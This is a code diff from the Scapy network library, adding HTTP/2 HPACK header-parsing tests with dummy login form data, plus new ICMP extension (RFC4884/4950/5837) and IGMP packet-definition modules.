+assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)')
+hdr = p.hdrs[4]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(Me)')
+hdr = p.hdrs[5]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 62)
+
+
+= HTTP/2 HPackHdrTable : Parsing Textual Representation with too small max frame
+~ http2 hpack hpackhdrtable helpers
+
+body = b'login=titi&passwd=toto'
+hdrs = raw(''':method POST
+:path /login.php
+:scheme https
+content-type: application/x-www-form-urlencoded
+content-length: {}
+user-agent: Mozilla/5.0 Generated by hand
+x-generated-by: Me
+x-generation-date: 2016-08-11
+x-long-header: {}
+'''.format(len(body), 'a'*5000))
+
+h = h2.HPackHdrTable()
+h.register(h2.HPackLitHdrFldWithIncrIndexing(
+        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))
+))
+
+#x-long-header is too long to fit in any frames (whose default max size is 4096)
+expect_exception(Exception, "seq = h.parse_txt_hdrs('''{}''', stream_id=1".format(hdrs))
+
+= HTTP/2 HPackHdrTable : Parsing Textual Representation with very large header and a large authorized frame size
+~ http2 hpack hpackhdrtable helpers
+
+body = b'login=titi&passwd=toto'
+hdrs = raw(''':method POST
+:path /login.php
+:scheme https
+content-type: application/x-www-form-urlencoded
+content-length: {}
+user-agent: Mozilla/5.0 Generated by hand
+x-generated-by: Me
+x-generation-date: 2016-08-11
+x-long-header: {}
+'''.format(len(body), 'a'*5000))
+
+h = h2.HPackHdrTable()
+h.register(h2.HPackLitHdrFldWithIncrIndexing(
+        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))
+))
+
+# Now trying to parse it with a max frame size large enough for x-long-header to
+# fit in a frame
+seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192)
+assert(isinstance(seq, h2.H2Seq))
+assert(len(seq.frames) == 1)
+p = seq.frames[0]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 1)
+assert(len(p.flags) == 2)
+assert('EH' in p.flags)
+assert('ES' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2HeadersFrame))
+hdrs_frm = p[h2.H2HeadersFrame]
+assert(len(p.hdrs) == 9)
+hdr = p.hdrs[0]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 3)
+hdr = p.hdrs[1]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index in [4, 5])
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(/login.php)')
+hdr = p.hdrs[2]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 7)
+hdr = p.hdrs[3]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 31)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)')
+hdr = p.hdrs[4]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 28)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(22)')
+hdr = p.hdrs[5]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 58)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)')
+hdr = p.hdrs[6]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(Me)')
+hdr = p.hdrs[7]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 62)
+hdr = p.hdrs[8]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-long-header)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000))
+
+= HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers and a large authorized frame size
+~ http2 hpack hpackhdrtable helpers
+
+body = b'login=titi&passwd=toto'
+hdrs = raw(''':method POST
+:path /login.php
+:scheme https
+content-type: application/x-www-form-urlencoded
+content-length: {}
+user-agent: Mozilla/5.0 Generated by hand
+x-generated-by: Me
+x-generation-date: 2016-08-11
+x-long-header: {}
+x-long-header: {}
+'''.format(len(body), 'a'*5000, 'b'*5000))
+
+h = h2.HPackHdrTable()
+h.register(h2.HPackLitHdrFldWithIncrIndexing(
+        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))
+))
+
+# Now trying to parse it with a max frame size large enough for x-long-header to
+# fit in a frame but a maximum header fragment size that is not large enough to
+# store two x-long-header
+seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192)
+assert(isinstance(seq, h2.H2Seq))
+assert(len(seq.frames) == 2)
+p = seq.frames[0]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 1)
+assert(len(p.flags) == 1)
+assert('ES' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2HeadersFrame))
+hdrs_frm = p[h2.H2HeadersFrame]
+assert(len(p.hdrs) == 9)
+hdr = p.hdrs[0]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 3)
+hdr = p.hdrs[1]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index in [4, 5])
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(/login.php)')
+hdr = p.hdrs[2]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 7)
+hdr = p.hdrs[3]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 31)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)')
+hdr = p.hdrs[4]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 28)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(22)')
+hdr = p.hdrs[5]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 58)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)')
+hdr = p.hdrs[6]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(Me)')
+hdr = p.hdrs[7]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 62)
+hdr = p.hdrs[8]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-long-header)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000))
+p = seq.frames[1]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 9)
+assert(len(p.flags) == 1)
+assert('EH' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2ContinuationFrame))
+hdrs_frm = p[h2.H2ContinuationFrame]
+assert(len(p.hdrs) == 1)
+hdr = p.hdrs[0]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-long-header)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000))
+
+= HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers, a large authorized frame size and a "small" max header list size
+~ http2 hpack hpackhdrtable helpers
+
+body = b'login=titi&passwd=toto'
+hdrs = raw(''':method POST
+:path /login.php
+:scheme https
+content-type: application/x-www-form-urlencoded
+content-length: {}
+user-agent: Mozilla/5.0 Generated by hand
+x-generated-by: Me
+x-generation-date: 2016-08-11
+x-long-header: {}
+x-long-header: {}
+'''.format(len(body), 'a'*5000, 'b'*5000))
+
+h = h2.HPackHdrTable()
+h.register(h2.HPackLitHdrFldWithIncrIndexing(
+        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))
+))
+
+# Now trying to parse it with a max frame size large enough for x-long-header to
+# fit in a frame but and a max header list size that is large enough to fit one
+# but not two
+seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192, max_hdr_lst_sz=5050)
+assert(isinstance(seq, h2.H2Seq))
+assert(len(seq.frames) == 3)
+p = seq.frames[0]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 1)
+assert(len(p.flags) == 1)
+assert('ES' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2HeadersFrame))
+hdrs_frm = p[h2.H2HeadersFrame]
+assert(len(p.hdrs) == 8)
+hdr = p.hdrs[0]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 3)
+hdr = p.hdrs[1]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index in [4, 5])
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(/login.php)')
+hdr = p.hdrs[2]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 7)
+hdr = p.hdrs[3]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 31)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)')
+hdr = p.hdrs[4]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 28)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(22)')
+hdr = p.hdrs[5]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 58)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)')
+hdr = p.hdrs[6]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(Me)')
+hdr = p.hdrs[7]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 62)
+p = seq.frames[1]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 9)
+assert(len(p.flags) == 0)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2ContinuationFrame))
+hdrs_frm = p[h2.H2ContinuationFrame]
+assert(len(p.hdrs) == 1)
+hdr = p.hdrs[0]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-long-header)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000))
+p = seq.frames[2]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 9)
+assert(len(p.flags) == 1)
+assert('EH' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2ContinuationFrame))
+hdrs_frm = p[h2.H2ContinuationFrame]
+assert(len(p.hdrs) == 1)
+hdr = p.hdrs[0]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-long-header)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000))
+
+= HTTP/2 HPackHdrTable : Parsing Textual Representation with sensitive headers and non-indexable ones
+~ http2 hpack hpackhdrtable helpers
+
+hdrs = raw(''':method POST
+:path /login.php
+:scheme https
+content-type: application/x-www-form-urlencoded
+content-length: {}
+user-agent: Mozilla/5.0 Generated by hand
+x-generated-by: Me
+x-generation-date: 2016-08-11
+'''.format(len(body)))
+
+h = h2.HPackHdrTable()
+seq = h.parse_txt_hdrs(hdrs, stream_id=1, body=body, is_sensitive=lambda n,v: n in ['x-generation-date'], should_index=lambda x: x != 'x-generated-by')
+assert(isinstance(seq, h2.H2Seq))
+assert(len(seq.frames) == 2)
+p = seq.frames[0]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 1)
+assert(len(p.flags) == 1)
+assert('EH' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2HeadersFrame))
+hdrs_frm = p[h2.H2HeadersFrame]
+assert(len(p.hdrs) == 8)
+hdr = p.hdrs[0]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 3)
+hdr = p.hdrs[1]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing))
+assert(hdr.magic == 1)
+assert(hdr.index in [4, 5])
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(/login.php)')
+hdr = p.hdrs[2]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 7)
+hdr = p.hdrs[3]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing))
+assert(hdr.magic == 1)
+assert(hdr.index == 31)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)')
+hdr = p.hdrs[4]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing))
+assert(hdr.magic == 1)
+assert(hdr.index == 28)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(22)')
+hdr = p.hdrs[5]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing))
+assert(hdr.magic == 1)
+assert(hdr.index == 58)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)')
+hdr = p.hdrs[6]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(Me)')
+hdr = p.hdrs[7]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 1)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-generation-date)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(2016-08-11)')
+p = seq.frames[1]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 0)
+assert(len(p.flags) == 1)
+assert('ES' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2DataFrame))
+pay = p[h2.H2DataFrame]
+assert(pay.data == body)
diff --git a/scapy/contrib/icmp_extensions.py b/scapy/contrib/icmp_extensions.py
new file mode 100644
index 0000000..e13b808
--- /dev/null
+++ b/scapy/contrib/icmp_extensions.py
@@ -0,0 +1,199 @@
+#! /usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = ICMP Extensions
+# scapy.contrib.status = loads
+
+from __future__ import absolute_import
+import scapy
+from scapy.packet import Packet, bind_layers
+from scapy.fields import *
+from scapy.layers.inet import IP, ICMP
+from scapy.layers.inet6 import IP6Field
+from scapy.error import warning
+from scapy.contrib.mpls import MPLS
+import scapy.modules.six as six
+
+
+class ICMPExtensionObject(Packet):
+    name = 'ICMP Extension Object'
+    fields_desc = [ ShortField('len', None),
+                    ByteField('classnum', 0),
+                    ByteField('classtype', 0) ]
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = struct.pack('!H', l)+p[2:]
+        return p+pay
+
+
+class ICMPExtensionHeader(Packet):
+    name = 'ICMP Extension Header (RFC4884)'
+    fields_desc = [ BitField('version', 2, 4),
+                    BitField('reserved', 0, 12),
+                    BitField('chksum', None, 16) ]
+
+    _min_ieo_len = len(ICMPExtensionObject())
+
+    def post_build(self, p, pay):
+        if self.chksum is None:
+            ck = checksum(p)
+            p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:]
+        return p+pay
+
+    def guess_payload_class(self, payload):
+        if len(payload) < self._min_ieo_len:
+            return Packet.guess_payload_class(self, payload)
+
+        # Look at fields of the generic ICMPExtensionObject to determine which
+        # bound extension type to use.
+        ieo = ICMPExtensionObject(payload)
+        if ieo.len < self._min_ieo_len:
+            return Packet.guess_payload_class(self, payload)
+
+        for fval, cls in self.payload_guess:
+            ok = 1
+            for k, v in six.iteritems(fval):
+                if not hasattr(ieo, k) or v != ieo.getfieldval(k):
+                    ok = 0
+                    break
+            if ok:
+                return cls
+        return ICMPExtensionObject
+
+
+def ICMPExtension_post_dissection(self, pkt):
+    # RFC4884 section 5.2 says if the ICMP packet length
+    # is >144 then ICMP extensions start at byte 137.
+
+    lastlayer = pkt.lastlayer()
+    if not isinstance(lastlayer, conf.padding_layer):
+      return
+
+    if IP in pkt:
+        if ( ICMP in pkt and
+             pkt[ICMP].type in [3,11,12] and
+             pkt.len > 144 ):
+            bytes = pkt[ICMP].build()[136:]
+        else:
+            return
+    elif scapy.layers.inet6.IPv6 in pkt:
+        if ( (scapy.layers.inet6.ICMPv6TimeExceeded in pkt or
+              scapy.layers.inet6.ICMPv6DestUnreach in pkt) and
+              pkt.plen > 144 ):
+            bytes = pkt[scapy.layers.inet6.ICMPv6TimeExceeded].build()[136:]
+        else:
+            return
+    else:
+        return
+
+    # validate checksum
+    ieh = ICMPExtensionHeader(bytes)
+    if checksum(ieh.build()):
+        return  # failed
+
+    lastlayer.load = lastlayer.load[:-len(ieh)]
+    lastlayer.add_payload(ieh)
+
+
+class ICMPExtensionMPLS(ICMPExtensionObject):
+    name = 'ICMP Extension Object - MPLS (RFC4950)'
+
+    fields_desc = [ ShortField('len', None),
+                    ByteField('classnum', 1),
+                    ByteField('classtype', 1),
+                    PacketListField('stack', [], MPLS,
+                                    length_from=lambda pkt: pkt.len - 4) ]
+
+
+class ICMPExtensionInterfaceInformation(ICMPExtensionObject):
+    name = 'ICMP Extension Object - Interface Information Object (RFC5837)'
+
+    fields_desc = [ ShortField('len', None),
+                    ByteField('classnum', 2),
+                    BitField('interface_role', 0, 2),
+                    BitField('reserved', 0, 2),
+                    BitField('has_ifindex', 0, 1),
+                    BitField('has_ipaddr', 0, 1),
+                    BitField('has_ifname', 0, 1),
+                    BitField('has_mtu', 0, 1),
+
+                    ConditionalField(
+                        IntField('ifindex', None),
+                        lambda pkt: pkt.has_ifindex == 1),
+
+                    ConditionalField(
+                        ShortField('afi', None),
+                        lambda pkt: pkt.has_ipaddr == 1),
+                    ConditionalField(
+                        ShortField('reserved2', 0),
+                        lambda pkt: pkt.has_ipaddr == 1),
+                    ConditionalField(
+                        IPField('ip4', None),
+                        lambda pkt: pkt.afi == 1),
+                    ConditionalField(
+                        IP6Field('ip6', None),
+                        lambda pkt: pkt.afi == 2),
+
+                    ConditionalField(
+                        FieldLenField('ifname_len', None, fmt='B',
+                                      length_of='ifname'),
+                        lambda pkt: pkt.has_ifname == 1),
+                    ConditionalField(
+                        StrLenField('ifname', None,
+                                    length_from=lambda pkt: pkt.ifname_len),
+                        lambda pkt: pkt.has_ifname == 1),
+
+                    ConditionalField(
+                        IntField('mtu', None),
+                        lambda pkt: pkt.has_mtu == 1) ]
+
+    def self_build(self, field_pos_list=None):
+        if self.afi is None:
+            if self.ip4 is not None:
+                self.afi = 1
+            elif self.ip6 is not None:
+                self.afi = 2
+
+        if self.has_ifindex and self.ifindex is None:
+            warning('has_ifindex set but ifindex is not set.')
+        if self.has_ipaddr and self.afi is None:
+            warning('has_ipaddr set but afi is not set.')
+        if self.has_ipaddr and self.ip4 is None and self.ip6 is None:
+            warning('has_ipaddr set but ip4 or ip6 is not set.')
+        if self.has_ifname and self.ifname is None:
+            warning('has_ifname set but ifname is not set.')
+        if self.has_mtu and self.mtu is None:
+            warning('has_mtu set but mtu is not set.')
+
+        return ICMPExtensionObject.self_build(self, field_pos_list=field_pos_list)
+
+
+# Add the post_dissection() method to the existing ICMPv4 and
+# ICMPv6 error messages
+scapy.layers.inet.ICMPerror.post_dissection = ICMPExtension_post_dissection
+scapy.layers.inet.TCPerror.post_dissection = ICMPExtension_post_dissection
+scapy.layers.inet.UDPerror.post_dissection = ICMPExtension_post_dissection
+
+scapy.layers.inet6.ICMPv6DestUnreach.post_dissection = ICMPExtension_post_dissection
+scapy.layers.inet6.ICMPv6TimeExceeded.post_dissection = ICMPExtension_post_dissection
+
+
+# ICMPExtensionHeader looks at fields from the upper layer object when
+# determining which upper layer to use.
+bind_layers(ICMPExtensionHeader, ICMPExtensionMPLS,                 classnum=1, classtype=1)
+bind_layers(ICMPExtensionHeader, ICMPExtensionInterfaceInformation, classnum=2)
diff --git a/scapy/contrib/igmp.py b/scapy/contrib/igmp.py
new file mode 100644
index 0000000..537dd11
--- /dev/null
+++ b/scapy/contrib/igmp.py
@@ -0,0 +1,157 @@
+#! /usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = IGMP/IGMPv2
+# scapy.contrib.status = loads
+
+from __future__ import print_function
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import *
+from scapy.layers.l2 import DestMACField, getmacbyip
+from scapy.error import warning
+from scapy.compat import chb, orb
+
+def isValidMCAddr(ip):
+    """convert dotted quad string to long and check the first octet"""
+    FirstOct=atol(ip)>>24 & 0xFF
+    return (FirstOct >= 224) and (FirstOct <= 239)
+
+class IGMP(Packet):
+    """IGMP Message Class for v1 and v2.
+
+This class is derived from class Packet. You  need call "igmpize()"
+so the packet is transformed according the RFC when sent.
+a=Ether(src="00:01:02:03:04:05")
+b=IP(src="1.2.3.4")
+c=IGMP(type=0x12, gaddr="224.2.3.4")
+x = a/b/c
+x[IGMP].igmpize()
+sendp(a/b/c, iface="en0")
+
+    Parameters:
+      type    IGMP type field, 0x11, 0x12, 0x16 or 0x17
+      mrcode  Maximum Response time (zero for v1)
+      gaddr   Multicast Group Address 224.x.x.x/4
+      
+See RFC2236, Section 2. Introduction for definitions of proper 
+IGMPv2 message format   http://www.faqs.org/rfcs/rfc2236.html
+
+  """
+    name = "IGMP"
+  
+    igmptypes = { 0x11 : "Group Membership Query",
+                  0x12 : "Version 1 - Membership Report",
+                  0x16 : "Version 2 - Membership Report",
+                  0x17 : "Leave Group"}
+
+    fields_desc = [ ByteEnumField("type", 0x11, igmptypes),
+                    ByteField("mrcode", 20),
+                    XShortField("chksum", None),
+                    IPField("gaddr", "0.0.0.0")]
+
+    def post_build(self, p, pay):
+        """Called implicitly before a packet is sent to compute and place IGMP checksum.
+
+        Parameters:
+          self    The instantiation of an IGMP class
+          p       The IGMP message in hex in network byte order
+          pay     Additional payload for the IGMP message
+        """
+        p += pay
+        if self.chksum is None:
+            ck = checksum(p)
+            p = p[:2]+chb(ck>>8)+chb(ck&0xff)+p[4:]
+        return p
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 4:
+            from scapy.contrib.igmpv3 import IGMPv3
+            if orb(_pkt[0]) in [0x22, 0x30, 0x31, 0x32]:
+                return IGMPv3
+            if orb(_pkt[0]) == 0x11 and len(_pkt) >= 12:
+                return IGMPv3
+        return IGMP
+
+    def igmpize(self):
+        """Called to explicitly fixup the packet according to the IGMP RFC
+
+        The rules are:
+        General:
+            1.  the Max Response time is meaningful only in Membership Queries and should be zero
+        IP:
+            1. Send General Group Query to 224.0.0.1 (all systems)
+            2. Send Leave Group to 224.0.0.2 (all routers)
+            3a.Otherwise send the packet to the group address
+            3b.Send reports/joins to the group address
+            4. ttl = 1 (RFC 2236, section 2)
+            5. send the packet with the router alert IP option (RFC 2236, section 2)
+        Ether:
+            1. Recalculate destination
+
+        Returns:
+            True    The tuple ether/ip/self passed all check and represents
+                    a proper IGMP packet.
+            False   One of more validation checks failed and no fields 
+                    were adjusted.
+
+        The function will examine the IGMP message to assure proper format. 
+        Corrections will be attempted if possible. The IP header is then properly 
+        adjusted to ensure correct formatting and assignment. The Ethernet header
+        is then adjusted to the proper IGMP packet format.
+        """
